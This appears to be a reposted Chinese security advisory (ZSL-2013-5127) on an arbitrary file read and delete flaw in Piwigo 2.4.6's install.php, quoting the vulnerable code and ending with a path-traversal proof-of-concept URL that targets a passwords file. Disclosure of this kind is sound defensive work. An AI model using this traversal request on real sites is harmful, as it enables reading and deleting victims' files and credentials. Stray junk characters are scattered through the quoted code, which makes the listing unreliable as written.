Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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7 O+ z& z& F! ?. G& M8 o/install.php:
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& a2 ?/ f/ L6 M$ U113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
8 O# e" c+ K* q114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
! Q$ [# ~* K( V& i& q+ [119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
: x# ~! |# ~9 D+ j1 y  p122:   unlink($filename);
8 b1 M) m- y% L7 u3 Q2 W# S123:   exit();
. ]  ]1 U5 {+ L. w124: }
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1 E9 Y9 T/ w. A* @Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
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Advisory ID: ZSL-2013-5127
) t6 @, r1 H, s0 xAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
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+ ~1 V3 I8 g: r0 y. J15.02.2013

+ H5 O6 i' B7 u--
, s" G$ ~. x% W$ C. ?http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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